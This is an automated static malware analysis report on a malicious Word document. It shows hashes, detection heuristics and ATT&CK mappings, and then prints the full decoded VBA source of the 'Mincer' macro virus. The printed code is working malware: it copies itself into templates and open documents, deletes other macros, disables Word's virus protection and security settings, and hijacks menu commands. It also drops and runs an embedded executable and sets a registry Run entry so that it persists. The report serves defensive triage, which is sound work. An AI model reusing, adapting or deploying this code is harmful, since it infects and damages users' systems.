Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4db3354431e2c851…

MALICIOUS

Office (OLE)

49.0 KB Created: 2018-05-10 03:12:00 Authoring application: Microsoft Office Word First seen: 2019-01-31
MD5: 123d7bed359b0d184552e8d5400854c2 SHA-1: ce23960416ec8042586160b5437604444131d5d3 SHA-256: 4db3354431e2c851d2cadc53d2d79a8faf86426f7f7065d10dc0560e2729ec19
328 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The AutoOpen and Auto_Close macros, along with a critical Shell() call, indicate an attempt to execute arbitrary code. The embedded VBA script, named 'Mincer', appears to be designed to download and execute a second-stage payload, as suggested by the ClamAV detection of 'Win.Trojan.Psycho-3' and the extracted artifact 'macros.bas'. The presence of legacy WordBasic markers further supports its malicious nature.

Heuristics 10

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell "Mincer.EXE"
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    If A.codemodule.Lines(1, 1) <> "'Mincer!" Then A.codemodule.deletelines 1, A.codemodule.CountOfLines
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    AutoOpen
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    If l.ID = 522 Or l.ID = 751 Or l.ID = 797 Then l.OnAction = "AutoClose"
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    NC = Environ("WINDIR")
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8450 bytes
SHA-256: fe0894d90751c9c2dfb8f0202cc5086065640210c4c60bce58e7a961f85ab59b
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Mincer"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Mincer!
Sub Cl()
On Error Resume Next
For Each Doc In Documents
For Each A In Doc.VBProject.VBComponents
If A.Type <> 100 Then
Application.OrganizerDelete Doc.FullName, A.Name, wdOrganizerObjectProjectItems
Else
If A.codemodule.Lines(1, 1) <> "'Mincer!" Then A.codemodule.deletelines 1, A.codemodule.CountOfLines
End If
Next A
Next Doc
For Each dot In Templates
For Each A In dot.VBProject.VBComponents
If A.Type <> "100" And A.Name <> "Mincer" Then
Application.OrganizerDelete dot.FullName, A.Name, wdOrganizerObjectProjectItems
Else
If A.codemodule.Lines(1, 1) <> "'Mincer!" Then A.codemodule.deletelines 1, A.codemodule.CountOfLines
End If
Next A
Next dot
End Sub
Sub IND()
On Error Resume Next
Dim body As String, RET As Boolean, NC As String
For Each Vs In MacroContainer.VBProject.VBComponents
If Vs.Name = "Mincer" Then Set Vs = Vs.codemodule: Exit For
Next Vs
body = Vs.Lines(1, Vs.CountOfLines)
For Each Doc In Documents
If Doc.VBProject.VBComponents.Item(1).codemodule.Lines(1, 1) <> "'Mincer!" And Doc.VBProject.VBComponents.Item(1).Name <> "MX" Then
vak = InStr(Doc.FullName, ":")
If (vak = 0 Or Doc.ReadOnly = True) And Doc.Saved = False Then
Set ill = Doc.VBProject.VBComponents.Item(1).codemodule
ill.InsertLines 1, body
Doc.VBProject.VBComponents.Item(1).Name = "Mincer"
ElseIf vak <> 0 And Doc.ReadOnly = False Then
Set ill = Doc.VBProject.VBComponents.Item(1).codemodule
ill.InsertLines 1, body
Doc.VBProject.VBComponents.Item(1).Name = "Mincer"
End If
End If
Next Doc
End Sub
Sub INO()
On Error Resume Next
Dim body As String, RET As Boolean, NC As String
NC = Environ("WINDIR")
If Dir(NC & "\SYSTEM\Mincer.dll") = "" Then
Open NC & "\SYSTEM\Mincer.dll" For Output As 1
For Each Vs In MacroContainer.VBProject.VBComponents
If Vs.Name = "Mincer" Then Set Vs = Vs.codemodule: Exit For
Next Vs
body = Vs.Lines(1, Vs.CountOfLines)
Print #1, "Attribute VB_Name=""Mincer"""
Print #1, body
Close
End If
For Each dot In Templates
RET = False
For Each A In dot.VBProject.VBComponents
If A.Name = "Mincer" And A.Type <> 100 Then RET = True
Next A
If RET = False Then
dot.VBProject.VBComponents.Import (NC & "\SYSTEM\Mincer.dll")
End If
Next dot
End Sub
Sub AutoExit()
On Error Resume Next
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
With Options
.VirusProtection = False
.AllowFastSave = True
.SavePropertiesPrompt = False
.SaveNormalPrompt = False
End With
WordBasic.DisableAutoMacros 0
For Each l In CommandBars("tools").Controls
If l.ID = 522 Or l.ID = 751 Or l.ID = 797 Then l.OnAction = "AutoClose"
Next l
For Each Doc In Documents
Doc.ReadOnlyRecommended = False
Doc.SaveFormsData = False
Next Doc
End Sub
Sub MySpy()
On Error Resume Next
Dim MI As String, NC As String
MI = System.PrivateProfileString("", "HKEY_CLASSES_ROOT\.doc\Word.Document.8\ShellNew", "FileName")
NC = Environ("WINDIR")
If Dir(NC & "\Media\MySpy.dot") = "" Then
WordBasic.DisableAutoMacros 1
Documents.Add NewTemplate:=True
ActiveDocument.VBProject.VBComponents.Item(1).Name = "MX"
INO
ActiveDocument.SaveAs NC & "\Media\MySpy.dot", , , , False
Options.DefaultFilePath(Path:=wdUserTemplatesPath) = NC
Options.DefaultFilePath(Path:=wdStartupPath) = NC & "\Media"
ActiveDocument.Close
End If
WordBasic.DisableAutoMacros 0
End Sub
Sub AutoExec()
On Error Resume Next
Test
Cl
AutoExit
INO
p$ = Environ("WINDIR")
AddIns(p$ & "\Media\MySpy.dot").Installed = False
End Sub
Sub Test()
Dim A As String, B As String, C As Long, d As String, E As String
If Format(Date, "d") <> 2 Then Exit Sub
A = "9460301/3/4/65535/184/0/64/0/0/0/0/0/0/0/0/128/247078670/-855002112/1275181089/1750344141/1881174889/1919381362/1663069537/1869508193/1700929652/1853190688/544106784/542330692/1701080941/168627502/36/0/17744/65868/891316465/0/0/17760480/327947/4096/0/0/4112/4096/8192/4194304/4096/512/4/0/4/0/8192/512/0/2/1048576/4096/1048576/4096/0/16/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/2019914798/116/4096/4096/4096/512/0/0/0/1610612768/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/195/0/0/1021/608472405/1692087288/15205255/1526726656/1363299213/17780816/1543382092/-98778237/-1956238453/1905130603/-1989781998/-289276813/1938384400/1456233986/1217130635/-2086341636/814418152/41219595/-866193173/-337955845/1692087047/545981323/1476628324/268462173/1958936640/-1054798030/75698403/-1989798620/-306054037/1804166672/588238594/1359964867/1364328298/1778477649/1394658562/-2097151744/-1919475516/-1915773626/-203385/550326527/4194407/1488986895/-1958916469/-61830895/" & _
"-1982447475/-1226049023/59475/-2091188224/-850189117/1073768480/1962891264/1409222692/1397774844/1509708799/1488986895/50011/-396361728/0/365330782/-167772157/-2062614266/520/673471629/254032771/128389/-2096693760/-1974073914/-12843965/1074006132/109656756/6964806/1535868778/205753104/1342488707/1092668758/-2097135616/2088833220/1160707078/257836376/112261/2072208896/-2062614248/427/1124120678/3285197/-2112946112/411/1354664785/-1946157059/29488703/-1201272716/-919387391/-1070344193/-919349836/-1958555085/-671136806/-157525613/108265921/1124186214/262002687/90754/-2086906368/-1070366778/-393488716/1784218730/-671131076/-1958078837/-2116550715/1162870846/612699904/1392508929/23724138/588207954/-980725556/" & _
"-1031581007/-1915224313/-1924128190/-1223733242/1418530374/682627600/-503968118/1345484429/1363236434/1359208897/-905721853/-149139925/-1856945711/66078347/-2037777338/-1109/607945062/2071724216/-671103605/1493461653/1012108114/-15547773/1849590231/1953524058/1599822439/-721201319/1441661778/-63093619/55777417/-1098034473/-1203/-833189545/-1109895539/1021/-1031589397/274369320/1980258859/-394046676/-1961326328/1510151258/-1957211384/1510148186/-60947700/-1962649463/140116248/1076120193/725614592/51279595/264758011/871091233/-348339069/19398986/856171628/-61306405/-56785267/78774271/-855586970/-1902867680/-219/251809929/607229110/738197503/266724034/1485555745/1496877840/-242545181/14025144/-10921472/1542515671/865925464/" & _
"-2640704/1935580631/1725926193/-1958542408/2123103310/-19660802/258079566/553631777/1946147979/609484600/474188121/606632835/1099630197/21399848/129024865/1910796518/-747306444/217628006/-1077709171/-2147469236/218020454/1725366266/1241536703/138856294/-687927516/-1191944563/939349/237677241/-959185152/-497983488/-1998310658/-18706176/257250744/-1430955776/13030399/-1258364384/1711311072/201868999/869728016/1400944603/1747774595/-1073737728/1364396215/23613777/1094713349/-192196271/11332737/550305792/1048580/108954470/-33197033/-286569146/-972005887/-343913146/-2012706587/-2147432959/25692296/-712534077/-712534033/-1757147924/-1745889913/-1007757945/661010944/65619/4194408/4194369/4194354/1668180301/1981837925/540028465/1294355783/88/"
Open "Mincer.EXE" For Binary As 1
Do Until A = ""
C = InStr(A, "/")
B = Left(A, C - 1)
A = Right$(A, Len(A) - C)
C = Val(B)
Put 1, , C
Loop
Close
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices", "Mincer") = CurDir & "\Mincer.exe"
AW$ = InputBox("Who I love?", "Question")
If AW$ = "MX" Then
Kill "Mincer.EXE"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices", "Mincer") = ""
MsgBox "Hello,my friend!", 4096, "SMART!"
Else
Shell "Mincer.EXE"
MsgBox "Bios OK?", 48, "Mincing DATA..."
End If
End Sub
Sub FileOpen()
Dialogs(wdDialogFileOpen).Show
AutoOpen
End Sub
Sub AutoOpen()
AutoExit
Cl
IND
INO
End Sub
Sub AutoClose()
MySpy
AutoOpen
For Each Doc In Documents
v& = InStr(Doc.FullName, ":")
If Doc.ReadOnly = False And v <> 0 Then
                                                                                                                          Doc.Save
End If
Next Doc
End Sub
Sub ViewVBCode()
AutoClose
End Sub
Sub ViewSecurity()
AutoClose
End Sub
Sub ToolsMacro()
AutoClose
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.